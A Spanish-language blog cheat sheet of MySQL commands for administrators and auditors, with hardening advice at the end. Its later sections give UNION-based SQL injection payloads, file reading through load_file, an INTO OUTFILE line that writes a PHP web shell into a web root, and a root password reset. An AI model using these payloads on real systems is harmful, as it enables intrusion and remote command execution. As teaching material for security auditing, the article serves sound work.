En este artículo, exploramos comandos básicos para interactuar con bases de datos MySQL y ejemplos avanzados para tareas específicas, como extracción de información, lectura/escritura de archivos, y modificaciones en configuraciones. Estos comandos pueden ser útiles tanto para administradores como para auditores de seguridad.
Comando | Descripción |
---|---|
show databases;
|
Lista todas las bases de datos disponibles en el servidor MySQL. |
use <database>;
|
Cambia el contexto actual a la base de datos especificada. |
connect <database>;
|
Conecta a una base de datos específica. |
show tables;
|
Muestra todas las tablas de la base de datos seleccionada. |
describe <table_name>;
|
Detalla la estructura de una tabla, incluyendo columnas y tipos de datos. |
show columns from <table>;
|
Lista las columnas de una tabla, similar a describe .
|
Comando | Descripción |
---|---|
select version();
|
Muestra la versión de MySQL instalada. |
select @@version();
|
Alternativa para obtener la versión del servidor MySQL. |
select user();
|
Muestra el usuario actual conectado a MySQL. |
select database();
|
Muestra la base de datos seleccionada actualmente. |
\! sh
1. Listar tablas de todas las bases de datos:
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables;
information_schema.tables
: Contiene información sobre todas las tablas disponibles.
2. Listar columnas de una tabla específica:
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE_NAME>";
<TABLE_NAME>
por el nombre de la tabla de interés.
Nota: Estas operaciones requieren el privilegio FILE.
1. Leer un archivo:
select load_file('/var/lib/mysql-files/key.txt');
2. Escribir un archivo:
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
Si tienes acceso suficiente, puedes intentar cambiar la contraseña del usuario root:
1. Actualizar la contraseña (dependiendo de la versión de MySQL):
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
2. Recargar los privilegios:
FLUSH PRIVILEGES;
3. Salir del cliente MySQL:
quit;
1. Controlar privilegios: Revisa qué usuarios tienen acceso a privilegios como FILE
, SELECT
en information_schema
o SUPER
.
2. Monitoreo constante: Implementa auditorías para rastrear el uso de comandos sensibles.
3. Restricción de acceso: Limita el acceso al servidor MySQL únicamente a usuarios y aplicaciones autorizados.
4. Actualizar MySQL: Usa versiones actualizadas para mitigar vulnerabilidades conocidas.
Advertencia: Este artículo tiene fines educativos y debe ser usado únicamente en entornos donde tengas autorización explícita.
Jorge García
Fullstack developer